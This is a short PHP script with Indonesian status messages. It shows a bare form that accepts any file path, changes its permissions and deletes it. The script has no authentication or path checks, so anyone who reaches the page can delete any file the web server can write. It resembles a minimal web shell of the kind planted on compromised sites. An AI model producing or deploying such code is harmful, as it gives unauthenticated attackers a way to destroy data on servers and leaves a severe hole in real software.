<?php 
  if (isset($_POST['delete'])) {
    if (file_exists($_POST['path'])) {
      chmod($_POST['path'], 0644);
      if (unlink($_POST['path'])) {
        echo 'Berhasil';
      } else {
        echo 'gagal';
      }
    } else {
      echo 'file tidak ada';
    }
  }
  ?>
  <form action="" method="post">
    <input type="text" name="path">
    <button type="submit" name="delete">Delete</button>
  </form>